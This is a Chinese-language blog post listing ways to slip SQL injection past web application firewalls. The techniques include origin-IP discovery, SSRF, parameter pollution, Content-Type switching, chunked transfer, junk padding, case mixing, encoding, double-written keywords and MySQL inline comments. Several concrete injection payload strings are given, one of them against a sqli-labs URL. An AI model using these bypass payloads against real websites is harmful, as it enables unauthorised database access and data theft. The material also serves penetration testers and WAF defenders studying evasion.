SQL注入绕WAF

SQL注入绕WAF

如果有源码白盒针对性的绕waf,如果没有,进行以下黑盒绕过尝试。

架构层绕WAF

(1)用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,即可绕过waf。但是如果网站设置了只允许域名访问,而域名解析到waf IP那么则无法绕过。只能其他角度出发绕过

(2)在同网段内,页面与页面之间,服务器与服务器之间,通过waf的保护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf。

(3)边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行SQL注入。

资源限制角度绕WAF

​ 有的时候,由于数据太大,会导致waf无法将所有的数据都检测完,这个时候会忽略掉我们代入的sql注入语句,从而绕过waf,即:使用POST请求,对服务器请求很大资源逃逸sql注入语句。使用Burpsuite直接转换请求方式。

协议层面绕过WAF

(1)基于协议层,有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型。如上图。

(2)文件格式(协议未覆盖),页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf。

(3)参数污染:有的waf仅对部分内容进行过滤,例如:

index.php?id=1&id=2

这样的参数id=1,waf也许仅对前部分的id=1进行检测,而后面的参数并不做处理。这样我们就可以在id=2的后面写入sql注入语句进行sql注入。

规则层面绕过WAF

(1)关键词大小写绕过,有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过。

​ 举例: union select ---> UnIOn SeLEcT

(2)编码绕过, 针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等。

​ 举例:union select 1,2,3# =union%0aselect%0a1%2C2,3%23 “ ,”可以用%2C替换

(3)双写绕过,部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。

​ 举例:UNIunionON ,SELselectECT anandd

(4)换行(\N)绕过

​ 举例:select * from admin where username = \N union select 1,user() from admin

(5)注释符内联注释绕过,注释符里感叹号后面的内容会被mysql执行。(只在mysql中执行)

举例:union selecte =/\*!union\*/ select

(6) 同义词替换

and:&&

or+||

=(等于号):<、>

空格:
在mysql下,替换字符有 %09,%0A,%0B,%0C,%0D,%20,%A0,/\*xx\*/,+
正则,替换字符 %09,%0A,%0B,%0C,%20

version():@@version

datadir():@@datadir

截取字符:
mid()  mysql、access
substr()    oracle、mysql、sqlserver.
substring()     mysql、sqlserver

#&&与||这种特殊的符号 一定要在浏览器url前进行转码之后方可提交 因为浏览器默认不会进行编码
&& 1=1  转码 %26%261=1
-1||1=1 转码-1 %7c%7c1=1

(7) 垃圾参数

​ WAF在设计的时候都会考虑到性能问题,检测数据包的包长或检测数据流长度,有一个限制。因此在设计WAF的时候可能就有一个默认值,默认多少个字节的流大小,或是多少个数据包。此时可以填充数据,达到一定数目之后,POST中的sql注入恶意代码没有被检测了,达到了bypass的目的。

http://127.0.0.1/sqllab/Less-2/?id=1 and id=0xA*1000 uNiOn SeLeCt 1,version(),3 --+

a=AAAAAA*[很多个A] &id=1 order by X[1-3]
//0xA*1000  指的是0XA后面的 "A" 重复1000次

(8)分块传输(可以组合协议未覆盖)

在burp中关闭自动补全,删掉Content-Length: xx字段,添加Tranfer-Enconding: chunked就代表是分块传输了,下面字符依次类推,注意结束时有两个空行。只有能接收POST请求的对象可以使用这种方式。

直接使用burp插件方便快捷,项目地址:https://github.com/c0ny1/chunked-coding-converter

(9) mysql特殊语法

举例:union select 1,2,{x user}from{x mysql.user}

参考文章

https://www.cnblogs.com/sunny11/p/14438269.html#_label2

https://www.cnblogs.com/cute-puli/p/11146625.html

https://saucer-man.com/information_security/100.html

posted @ 2022-03-20 21:07  九天揽月丶  阅读(781)  评论(0编辑  收藏  举报